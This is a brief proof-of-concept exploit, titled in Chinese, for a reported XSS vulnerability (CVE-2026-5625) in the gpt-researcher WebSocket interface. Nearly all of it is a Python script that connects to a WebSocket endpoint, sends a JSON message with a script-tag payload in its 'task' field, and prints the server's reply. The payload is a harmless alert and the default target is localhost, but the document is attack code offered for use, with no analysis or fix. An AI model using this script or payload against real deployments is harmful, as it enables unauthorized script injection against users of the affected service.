CVE-2026-5625 gpt-researcher WebSocket接口存在XSS漏洞

import asyncio import websockets import json async def exploit_xss(target_uri): # Construct malicious payload # Note: Adjust the payload based on actual reflection point xss_payload = '<script>alert("CVE-2026-5625")</script>' # WebSocket message structure message = { "task": xss_payload, "report_type": "research_report" # Example parameter } try: async with websockets.connect(target_uri) as websocket: print(f"[*] Connecting to {target_uri}...") # Send malicious payload await websocket.send(json.dumps(message)) print("[+] Payload sent successfully.") print(f"[*] Payload: {xss_payload}") # Listen for response (optional) response = await websocket.recv() print(f"[*] Server response: {response}") except Exception as e: print(f"[-] Error: {e}") # Usage # Replace with actual target WebSocket URL target = "ws://localhost:8000/ws/researcher" asyncio.run(exploit_xss(target))